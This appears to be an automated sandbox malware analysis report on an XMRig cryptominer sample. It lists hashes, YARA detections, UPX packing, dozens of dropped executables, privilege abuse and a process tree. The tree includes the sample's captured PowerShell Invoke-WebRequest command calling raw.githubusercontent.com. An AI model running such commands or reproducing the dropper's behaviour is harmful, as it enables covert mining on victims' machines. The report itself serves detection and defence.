xmrig | dac5fcbcfb6b20ed89dedd28331d454b9482dc4bce31e89a9051bee0eba5d252

Analysis

max time kernel
120s
max time network
119s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
27/07/2024, 05:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9a529a2770ad1646a67d2c13ca941410N.exe
Size

1.9MB
MD5

9a529a2770ad1646a67d2c13ca941410
SHA1

bd2b2b1dd42e943a49356fccfa2182595f6a04d1
SHA256

dac5fcbcfb6b20ed89dedd28331d454b9482dc4bce31e89a9051bee0eba5d252
SHA512

470c77afcecc4a85d8ef1892a84a427f97720593268bf3847382795145e09bf250fa417c5f8af53aa4c66d13bedee1300bef750c3afe4ce5546e5c571595b1c3
SSDEEP

49152:Lz071uv4BPMkibTIA5lCx7kvRWa4povEc2HhG82T:NABm

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 45 IoCs

miner

resource	yara_rule
behavioral2/memory/464-193-0x00007FF63D070000-0x00007FF63D462000-memory.dmp	xmrig
behavioral2/memory/1104-196-0x00007FF64E400000-0x00007FF64E7F2000-memory.dmp	xmrig
behavioral2/memory/3432-199-0x00007FF757C90000-0x00007FF758082000-memory.dmp	xmrig
behavioral2/memory/1876-205-0x00007FF69DBD0000-0x00007FF69DFC2000-memory.dmp	xmrig
behavioral2/memory/2788-212-0x00007FF645010000-0x00007FF645402000-memory.dmp	xmrig
behavioral2/memory/3932-211-0x00007FF7CDD40000-0x00007FF7CE132000-memory.dmp	xmrig
behavioral2/memory/2580-209-0x00007FF703ED0000-0x00007FF7042C2000-memory.dmp	xmrig
behavioral2/memory/2252-207-0x00007FF73ABE0000-0x00007FF73AFD2000-memory.dmp	xmrig
behavioral2/memory/4344-204-0x00007FF6419E0000-0x00007FF641DD2000-memory.dmp	xmrig
behavioral2/memory/2764-203-0x00007FF6FA430000-0x00007FF6FA822000-memory.dmp	xmrig
behavioral2/memory/2012-202-0x00007FF716C90000-0x00007FF717082000-memory.dmp	xmrig
behavioral2/memory/532-201-0x00007FF756CA0000-0x00007FF757092000-memory.dmp	xmrig
behavioral2/memory/1848-200-0x00007FF6F3230000-0x00007FF6F3622000-memory.dmp	xmrig
behavioral2/memory/4556-198-0x00007FF6D8F20000-0x00007FF6D9312000-memory.dmp	xmrig
behavioral2/memory/4464-197-0x00007FF7E1F30000-0x00007FF7E2322000-memory.dmp	xmrig
behavioral2/memory/1308-195-0x00007FF7D72B0000-0x00007FF7D76A2000-memory.dmp	xmrig
behavioral2/memory/228-194-0x00007FF73D5F0000-0x00007FF73D9E2000-memory.dmp	xmrig
behavioral2/memory/4864-192-0x00007FF7EDCF0000-0x00007FF7EE0E2000-memory.dmp	xmrig
behavioral2/memory/1216-191-0x00007FF653420000-0x00007FF653812000-memory.dmp	xmrig
behavioral2/memory/3628-190-0x00007FF6DD300000-0x00007FF6DD6F2000-memory.dmp	xmrig
behavioral2/memory/2788-2489-0x00007FF645010000-0x00007FF645402000-memory.dmp	xmrig
behavioral2/memory/3932-2493-0x00007FF7CDD40000-0x00007FF7CE132000-memory.dmp	xmrig
behavioral2/memory/1216-2500-0x00007FF653420000-0x00007FF653812000-memory.dmp	xmrig
behavioral2/memory/3840-2485-0x00007FF7FDA50000-0x00007FF7FDE42000-memory.dmp	xmrig
behavioral2/memory/464-2527-0x00007FF63D070000-0x00007FF63D462000-memory.dmp	xmrig
behavioral2/memory/2252-2645-0x00007FF73ABE0000-0x00007FF73AFD2000-memory.dmp	xmrig
behavioral2/memory/2580-2643-0x00007FF703ED0000-0x00007FF7042C2000-memory.dmp	xmrig
behavioral2/memory/1876-2642-0x00007FF69DBD0000-0x00007FF69DFC2000-memory.dmp	xmrig
behavioral2/memory/4344-2638-0x00007FF6419E0000-0x00007FF641DD2000-memory.dmp	xmrig
behavioral2/memory/2764-2613-0x00007FF6FA430000-0x00007FF6FA822000-memory.dmp	xmrig
behavioral2/memory/4464-2594-0x00007FF7E1F30000-0x00007FF7E2322000-memory.dmp	xmrig
behavioral2/memory/1848-2590-0x00007FF6F3230000-0x00007FF6F3622000-memory.dmp	xmrig
behavioral2/memory/2012-2556-0x00007FF716C90000-0x00007FF717082000-memory.dmp	xmrig
behavioral2/memory/532-2549-0x00007FF756CA0000-0x00007FF757092000-memory.dmp	xmrig
behavioral2/memory/3432-2542-0x00007FF757C90000-0x00007FF758082000-memory.dmp	xmrig
behavioral2/memory/4556-2531-0x00007FF6D8F20000-0x00007FF6D9312000-memory.dmp	xmrig
behavioral2/memory/228-2523-0x00007FF73D5F0000-0x00007FF73D9E2000-memory.dmp	xmrig
behavioral2/memory/4864-2522-0x00007FF7EDCF0000-0x00007FF7EE0E2000-memory.dmp	xmrig
behavioral2/memory/1308-2520-0x00007FF7D72B0000-0x00007FF7D76A2000-memory.dmp	xmrig
behavioral2/memory/1104-2518-0x00007FF64E400000-0x00007FF64E7F2000-memory.dmp	xmrig
behavioral2/memory/3628-2514-0x00007FF6DD300000-0x00007FF6DD6F2000-memory.dmp	xmrig
behavioral2/memory/4988-3471-0x00007FF765FA0000-0x00007FF766392000-memory.dmp	xmrig
behavioral2/memory/2212-3450-0x00007FF70ACE0000-0x00007FF70B0D2000-memory.dmp	xmrig
behavioral2/memory/8-3511-0x00007FF64DD90000-0x00007FF64E182000-memory.dmp	xmrig
behavioral2/memory/4284-5057-0x00007FF685A60000-0x00007FF685E52000-memory.dmp	xmrig

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	2460	powershell.exe
11	2460	powershell.exe
13	2460	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2460	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3840	saghhdf.exe
3932	XEcSLRn.exe
3628	euxkUun.exe
2788	nKZbPqO.exe
1216	heSslMB.exe
4864	DvRYsCF.exe
464	WjqOEGV.exe
228	HfGWfWD.exe
1308	ddReyzF.exe
1104	zMIPxuo.exe
4464	XGwWGsG.exe
4556	xHzobXO.exe
3432	auRCfbH.exe
1848	VdnBrXa.exe
532	dYMLOcJ.exe
2012	YEBYvtu.exe
2764	IfcAtfI.exe
4344	ZQNAaqO.exe
1876	VEtRLbt.exe
2212	Urtwzvd.exe
2252	BXNPzOE.exe
8	QtZWlBD.exe
2580	IHSOuxZ.exe
4988	jUswEgn.exe
320	izXPolZ.exe
3160	vquFGGw.exe
3552	FPGuCKU.exe
3968	YPVgeAx.exe
2668	LfVqnxb.exe
1608	UIfutpf.exe
1512	mSMTXGk.exe
2820	KGEqOrF.exe
4040	SvuyLEt.exe
2660	lPkeCVL.exe
3136	qIpBRhg.exe
444	sVTBQAV.exe
2216	rsiAhwy.exe
4892	udeakVP.exe
1800	iBsOkDQ.exe
4796	hMmXCPU.exe
1380	uIAfEdX.exe
460	tuwDJCk.exe
3972	zHTwOSB.exe
4472	UHbmDwk.exe
3536	SbGEaln.exe
2748	YGcoROp.exe
436	NfPtlYU.exe
2880	tQItbRN.exe
1688	dvAXYen.exe
1648	hIfOqyd.exe
1232	noVNGFR.exe
2752	SXZSclX.exe
4164	SjjcFhO.exe
3556	yHaraPD.exe
3056	tIqJRHb.exe
3568	OiLNQTQ.exe
2248	qzdIztf.exe
3316	xdyheOS.exe
4292	anVYarI.exe
2576	dCExyRU.exe
2812	MPrQEZo.exe
4468	UiROrnZ.exe
3132	wGNNnmZ.exe
3356	TWCtqYA.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4284-0-0x00007FF685A60000-0x00007FF685E52000-memory.dmp	upx
behavioral2/files/0x00070000000234fd-25.dat	upx
behavioral2/files/0x00070000000234ff-30.dat	upx
behavioral2/files/0x0007000000023501-40.dat	upx
behavioral2/files/0x0007000000023505-56.dat	upx
behavioral2/files/0x0007000000023515-117.dat	upx
behavioral2/files/0x0007000000023518-155.dat	upx
behavioral2/memory/464-193-0x00007FF63D070000-0x00007FF63D462000-memory.dmp	upx
behavioral2/memory/1104-196-0x00007FF64E400000-0x00007FF64E7F2000-memory.dmp	upx
behavioral2/memory/3432-199-0x00007FF757C90000-0x00007FF758082000-memory.dmp	upx
behavioral2/memory/1876-205-0x00007FF69DBD0000-0x00007FF69DFC2000-memory.dmp	upx
behavioral2/memory/4988-210-0x00007FF765FA0000-0x00007FF766392000-memory.dmp	upx
behavioral2/memory/2788-212-0x00007FF645010000-0x00007FF645402000-memory.dmp	upx
behavioral2/memory/3932-211-0x00007FF7CDD40000-0x00007FF7CE132000-memory.dmp	upx
behavioral2/memory/2580-209-0x00007FF703ED0000-0x00007FF7042C2000-memory.dmp	upx
behavioral2/memory/8-208-0x00007FF64DD90000-0x00007FF64E182000-memory.dmp	upx
behavioral2/memory/2252-207-0x00007FF73ABE0000-0x00007FF73AFD2000-memory.dmp	upx
behavioral2/memory/2212-206-0x00007FF70ACE0000-0x00007FF70B0D2000-memory.dmp	upx
behavioral2/memory/4344-204-0x00007FF6419E0000-0x00007FF641DD2000-memory.dmp	upx
behavioral2/memory/2764-203-0x00007FF6FA430000-0x00007FF6FA822000-memory.dmp	upx
behavioral2/memory/2012-202-0x00007FF716C90000-0x00007FF717082000-memory.dmp	upx
behavioral2/memory/532-201-0x00007FF756CA0000-0x00007FF757092000-memory.dmp	upx
behavioral2/memory/1848-200-0x00007FF6F3230000-0x00007FF6F3622000-memory.dmp	upx
behavioral2/memory/4556-198-0x00007FF6D8F20000-0x00007FF6D9312000-memory.dmp	upx
behavioral2/memory/4464-197-0x00007FF7E1F30000-0x00007FF7E2322000-memory.dmp	upx
behavioral2/memory/1308-195-0x00007FF7D72B0000-0x00007FF7D76A2000-memory.dmp	upx
behavioral2/memory/228-194-0x00007FF73D5F0000-0x00007FF73D9E2000-memory.dmp	upx
behavioral2/memory/4864-192-0x00007FF7EDCF0000-0x00007FF7EE0E2000-memory.dmp	upx
behavioral2/memory/1216-191-0x00007FF653420000-0x00007FF653812000-memory.dmp	upx
behavioral2/memory/3628-190-0x00007FF6DD300000-0x00007FF6DD6F2000-memory.dmp	upx
behavioral2/files/0x0007000000023514-183.dat	upx
behavioral2/files/0x0007000000023521-182.dat	upx
behavioral2/files/0x000700000002351e-181.dat	upx
behavioral2/files/0x000700000002350f-180.dat	upx
behavioral2/files/0x0007000000023513-179.dat	upx
behavioral2/files/0x0007000000023516-177.dat	upx
behavioral2/files/0x0007000000023512-176.dat	upx
behavioral2/files/0x000700000002351d-174.dat	upx
behavioral2/files/0x000700000002351c-172.dat	upx
behavioral2/files/0x0007000000023511-170.dat	upx
behavioral2/files/0x000700000002351b-166.dat	upx
behavioral2/files/0x0007000000023510-157.dat	upx
behavioral2/files/0x0007000000023517-148.dat	upx
behavioral2/files/0x0007000000023509-145.dat	upx
behavioral2/files/0x000700000002350c-128.dat	upx
behavioral2/files/0x000700000002350b-127.dat	upx
behavioral2/files/0x0007000000023506-126.dat	upx
behavioral2/files/0x000700000002350a-120.dat	upx
behavioral2/files/0x0007000000023508-107.dat	upx
behavioral2/files/0x000700000002350e-106.dat	upx
behavioral2/files/0x0007000000023507-103.dat	upx
behavioral2/files/0x000700000002350d-132.dat	upx
behavioral2/files/0x00080000000234fa-101.dat	upx
behavioral2/files/0x0007000000023503-88.dat	upx
behavioral2/files/0x0007000000023504-69.dat	upx
behavioral2/files/0x0007000000023502-59.dat	upx
behavioral2/files/0x0007000000023500-54.dat	upx
behavioral2/files/0x00080000000234f9-27.dat	upx
behavioral2/files/0x00070000000234fe-22.dat	upx
behavioral2/memory/3840-16-0x00007FF7FDA50000-0x00007FF7FDE42000-memory.dmp	upx
behavioral2/files/0x0009000000023496-12.dat	upx
behavioral2/memory/2788-2489-0x00007FF645010000-0x00007FF645402000-memory.dmp	upx
behavioral2/memory/3932-2493-0x00007FF7CDD40000-0x00007FF7CE132000-memory.dmp	upx
behavioral2/memory/1216-2500-0x00007FF653420000-0x00007FF653812000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com
11	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\jzgQZzI.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\rqScydT.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\DjJKrlv.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\VCCiJBt.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\azmUutR.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\VEtRLbt.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\PxwZJaw.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\kqEYrxW.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\kUyDmcq.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\mmRToZt.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\kHbbIla.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\sQIrCOo.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\HxORpak.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\lvBvEJj.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\wkHCUNf.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\uSSmhBs.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\BHqnXBg.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\AysJbuP.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\qhwKaPM.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\dUqXseP.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\ZXLYCCH.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\HOKyBsk.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\FaIvMVV.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\YHXpbJy.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\lARNtCi.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\xqlnymW.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\HKAcFiB.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\NREzfNu.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\ZuxhaVA.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\KHvaBpb.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\aiWyMYI.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\JlFtlLg.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\pnNkRNg.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\xYJxpsk.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\JpUIrHT.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\NLmFLzd.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\ZvezTQC.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\vxnjAsW.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\PlwEMni.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\owAmYnP.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\RTcYDtd.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\WvCJHkz.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\VSFJPxo.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\MpYJwQr.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\aUWNqjz.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\AUvWmPS.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\doijmap.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\NsMChWT.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\fvFfYdO.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\alAZFwc.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\ioIlVQT.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\nCUvhiL.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\xKdRwDD.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\HTEPeYP.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\fnrzBrs.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\wCsInFy.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\ngjrYRN.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\RFlSUPz.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\TqCHLEB.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\jboONXq.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\VfIzMYp.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\xlzbqCj.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\KeNZaJr.exe	9a529a2770ad1646a67d2c13ca941410N.exe
File created	C:\Windows\System\YIClqPF.exe	9a529a2770ad1646a67d2c13ca941410N.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe
2460	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4284	9a529a2770ad1646a67d2c13ca941410N.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeLockMemoryPrivilege	4284	9a529a2770ad1646a67d2c13ca941410N.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 2460	4284	9a529a2770ad1646a67d2c13ca941410N.exe	85
PID 4284 wrote to memory of 2460	4284	9a529a2770ad1646a67d2c13ca941410N.exe	85
PID 4284 wrote to memory of 3840	4284	9a529a2770ad1646a67d2c13ca941410N.exe	86
PID 4284 wrote to memory of 3840	4284	9a529a2770ad1646a67d2c13ca941410N.exe	86
PID 4284 wrote to memory of 3932	4284	9a529a2770ad1646a67d2c13ca941410N.exe	87
PID 4284 wrote to memory of 3932	4284	9a529a2770ad1646a67d2c13ca941410N.exe	87
PID 4284 wrote to memory of 3628	4284	9a529a2770ad1646a67d2c13ca941410N.exe	88
PID 4284 wrote to memory of 3628	4284	9a529a2770ad1646a67d2c13ca941410N.exe	88
PID 4284 wrote to memory of 2788	4284	9a529a2770ad1646a67d2c13ca941410N.exe	89
PID 4284 wrote to memory of 2788	4284	9a529a2770ad1646a67d2c13ca941410N.exe	89
PID 4284 wrote to memory of 1216	4284	9a529a2770ad1646a67d2c13ca941410N.exe	90
PID 4284 wrote to memory of 1216	4284	9a529a2770ad1646a67d2c13ca941410N.exe	90
PID 4284 wrote to memory of 4864	4284	9a529a2770ad1646a67d2c13ca941410N.exe	91
PID 4284 wrote to memory of 4864	4284	9a529a2770ad1646a67d2c13ca941410N.exe	91
PID 4284 wrote to memory of 464	4284	9a529a2770ad1646a67d2c13ca941410N.exe	92
PID 4284 wrote to memory of 464	4284	9a529a2770ad1646a67d2c13ca941410N.exe	92
PID 4284 wrote to memory of 228	4284	9a529a2770ad1646a67d2c13ca941410N.exe	93
PID 4284 wrote to memory of 228	4284	9a529a2770ad1646a67d2c13ca941410N.exe	93
PID 4284 wrote to memory of 1308	4284	9a529a2770ad1646a67d2c13ca941410N.exe	94
PID 4284 wrote to memory of 1308	4284	9a529a2770ad1646a67d2c13ca941410N.exe	94
PID 4284 wrote to memory of 1104	4284	9a529a2770ad1646a67d2c13ca941410N.exe	95
PID 4284 wrote to memory of 1104	4284	9a529a2770ad1646a67d2c13ca941410N.exe	95
PID 4284 wrote to memory of 4464	4284	9a529a2770ad1646a67d2c13ca941410N.exe	96
PID 4284 wrote to memory of 4464	4284	9a529a2770ad1646a67d2c13ca941410N.exe	96
PID 4284 wrote to memory of 2012	4284	9a529a2770ad1646a67d2c13ca941410N.exe	97
PID 4284 wrote to memory of 2012	4284	9a529a2770ad1646a67d2c13ca941410N.exe	97
PID 4284 wrote to memory of 4556	4284	9a529a2770ad1646a67d2c13ca941410N.exe	98
PID 4284 wrote to memory of 4556	4284	9a529a2770ad1646a67d2c13ca941410N.exe	98
PID 4284 wrote to memory of 3432	4284	9a529a2770ad1646a67d2c13ca941410N.exe	99
PID 4284 wrote to memory of 3432	4284	9a529a2770ad1646a67d2c13ca941410N.exe	99
PID 4284 wrote to memory of 1848	4284	9a529a2770ad1646a67d2c13ca941410N.exe	100
PID 4284 wrote to memory of 1848	4284	9a529a2770ad1646a67d2c13ca941410N.exe	100
PID 4284 wrote to memory of 532	4284	9a529a2770ad1646a67d2c13ca941410N.exe	101
PID 4284 wrote to memory of 532	4284	9a529a2770ad1646a67d2c13ca941410N.exe	101
PID 4284 wrote to memory of 2764	4284	9a529a2770ad1646a67d2c13ca941410N.exe	102
PID 4284 wrote to memory of 2764	4284	9a529a2770ad1646a67d2c13ca941410N.exe	102
PID 4284 wrote to memory of 4344	4284	9a529a2770ad1646a67d2c13ca941410N.exe	103
PID 4284 wrote to memory of 4344	4284	9a529a2770ad1646a67d2c13ca941410N.exe	103
PID 4284 wrote to memory of 1876	4284	9a529a2770ad1646a67d2c13ca941410N.exe	104
PID 4284 wrote to memory of 1876	4284	9a529a2770ad1646a67d2c13ca941410N.exe	104
PID 4284 wrote to memory of 320	4284	9a529a2770ad1646a67d2c13ca941410N.exe	105
PID 4284 wrote to memory of 320	4284	9a529a2770ad1646a67d2c13ca941410N.exe	105
PID 4284 wrote to memory of 2212	4284	9a529a2770ad1646a67d2c13ca941410N.exe	106
PID 4284 wrote to memory of 2212	4284	9a529a2770ad1646a67d2c13ca941410N.exe	106
PID 4284 wrote to memory of 2252	4284	9a529a2770ad1646a67d2c13ca941410N.exe	107
PID 4284 wrote to memory of 2252	4284	9a529a2770ad1646a67d2c13ca941410N.exe	107
PID 4284 wrote to memory of 8	4284	9a529a2770ad1646a67d2c13ca941410N.exe	108
PID 4284 wrote to memory of 8	4284	9a529a2770ad1646a67d2c13ca941410N.exe	108
PID 4284 wrote to memory of 2580	4284	9a529a2770ad1646a67d2c13ca941410N.exe	109
PID 4284 wrote to memory of 2580	4284	9a529a2770ad1646a67d2c13ca941410N.exe	109
PID 4284 wrote to memory of 4988	4284	9a529a2770ad1646a67d2c13ca941410N.exe	110
PID 4284 wrote to memory of 4988	4284	9a529a2770ad1646a67d2c13ca941410N.exe	110
PID 4284 wrote to memory of 3160	4284	9a529a2770ad1646a67d2c13ca941410N.exe	111
PID 4284 wrote to memory of 3160	4284	9a529a2770ad1646a67d2c13ca941410N.exe	111
PID 4284 wrote to memory of 3552	4284	9a529a2770ad1646a67d2c13ca941410N.exe	112
PID 4284 wrote to memory of 3552	4284	9a529a2770ad1646a67d2c13ca941410N.exe	112
PID 4284 wrote to memory of 3968	4284	9a529a2770ad1646a67d2c13ca941410N.exe	113
PID 4284 wrote to memory of 3968	4284	9a529a2770ad1646a67d2c13ca941410N.exe	113
PID 4284 wrote to memory of 2668	4284	9a529a2770ad1646a67d2c13ca941410N.exe	114
PID 4284 wrote to memory of 2668	4284	9a529a2770ad1646a67d2c13ca941410N.exe	114
PID 4284 wrote to memory of 1608	4284	9a529a2770ad1646a67d2c13ca941410N.exe	115
PID 4284 wrote to memory of 1608	4284	9a529a2770ad1646a67d2c13ca941410N.exe	115
PID 4284 wrote to memory of 1512	4284	9a529a2770ad1646a67d2c13ca941410N.exe	116
PID 4284 wrote to memory of 1512	4284	9a529a2770ad1646a67d2c13ca941410N.exe	116

C:\Users\Admin\AppData\Local\Temp\9a529a2770ad1646a67d2c13ca941410N.exe
"C:\Users\Admin\AppData\Local\Temp\9a529a2770ad1646a67d2c13ca941410N.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2460
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2460" "2452" "1716" "2444" "0" "0" "2448" "0" "0" "0" "0" "0"
    3⤵
    PID:12900
- C:\Windows\System\saghhdf.exe
  C:\Windows\System\saghhdf.exe
  2⤵
  - Executes dropped EXE
  PID:3840
- C:\Windows\System\XEcSLRn.exe
  C:\Windows\System\XEcSLRn.exe
  2⤵
  - Executes dropped EXE
  PID:3932
- C:\Windows\System\euxkUun.exe
  C:\Windows\System\euxkUun.exe
  2⤵
  - Executes dropped EXE
  PID:3628
- C:\Windows\System\nKZbPqO.exe
  C:\Windows\System\nKZbPqO.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\heSslMB.exe
  C:\Windows\System\heSslMB.exe
  2⤵
  - Executes dropped EXE
  PID:1216
- C:\Windows\System\DvRYsCF.exe
  C:\Windows\System\DvRYsCF.exe
  2⤵
  - Executes dropped EXE
  PID:4864
- C:\Windows\System\WjqOEGV.exe
  C:\Windows\System\WjqOEGV.exe
  2⤵
  - Executes dropped EXE
  PID:464
- C:\Windows\System\HfGWfWD.exe
  C:\Windows\System\HfGWfWD.exe
  2⤵
  - Executes dropped EXE
  PID:228
- C:\Windows\System\ddReyzF.exe
  C:\Windows\System\ddReyzF.exe
  2⤵
  - Executes dropped EXE
  PID:1308
- C:\Windows\System\zMIPxuo.exe
  C:\Windows\System\zMIPxuo.exe
  2⤵
  - Executes dropped EXE
  PID:1104
- C:\Windows\System\XGwWGsG.exe
  C:\Windows\System\XGwWGsG.exe
  2⤵
  - Executes dropped EXE
  PID:4464
- C:\Windows\System\YEBYvtu.exe
  C:\Windows\System\YEBYvtu.exe
  2⤵
  - Executes dropped EXE
  PID:2012
- C:\Windows\System\xHzobXO.exe
  C:\Windows\System\xHzobXO.exe
  2⤵
  - Executes dropped EXE
  PID:4556
- C:\Windows\System\auRCfbH.exe
  C:\Windows\System\auRCfbH.exe
  2⤵
  - Executes dropped EXE
  PID:3432
- C:\Windows\System\VdnBrXa.exe
  C:\Windows\System\VdnBrXa.exe
  2⤵
  - Executes dropped EXE
  PID:1848
- C:\Windows\System\dYMLOcJ.exe
  C:\Windows\System\dYMLOcJ.exe
  2⤵
  - Executes dropped EXE
  PID:532
- C:\Windows\System\IfcAtfI.exe
  C:\Windows\System\IfcAtfI.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\ZQNAaqO.exe
  C:\Windows\System\ZQNAaqO.exe
  2⤵
  - Executes dropped EXE
  PID:4344
- C:\Windows\System\VEtRLbt.exe
  C:\Windows\System\VEtRLbt.exe
  2⤵
  - Executes dropped EXE
  PID:1876
- C:\Windows\System\izXPolZ.exe
  C:\Windows\System\izXPolZ.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Windows\System\Urtwzvd.exe
  C:\Windows\System\Urtwzvd.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\BXNPzOE.exe
  C:\Windows\System\BXNPzOE.exe
  2⤵
  - Executes dropped EXE
  PID:2252
- C:\Windows\System\QtZWlBD.exe
  C:\Windows\System\QtZWlBD.exe
  2⤵
  - Executes dropped EXE
  PID:8
- C:\Windows\System\IHSOuxZ.exe
  C:\Windows\System\IHSOuxZ.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\jUswEgn.exe
  C:\Windows\System\jUswEgn.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\vquFGGw.exe
  C:\Windows\System\vquFGGw.exe
  2⤵
  - Executes dropped EXE
  PID:3160
- C:\Windows\System\FPGuCKU.exe
  C:\Windows\System\FPGuCKU.exe
  2⤵
  - Executes dropped EXE
  PID:3552
- C:\Windows\System\YPVgeAx.exe
  C:\Windows\System\YPVgeAx.exe
  2⤵
  - Executes dropped EXE
  PID:3968
- C:\Windows\System\LfVqnxb.exe
  C:\Windows\System\LfVqnxb.exe
  2⤵
  - Executes dropped EXE
  PID:2668
- C:\Windows\System\UIfutpf.exe
  C:\Windows\System\UIfutpf.exe
  2⤵
  - Executes dropped EXE
  PID:1608
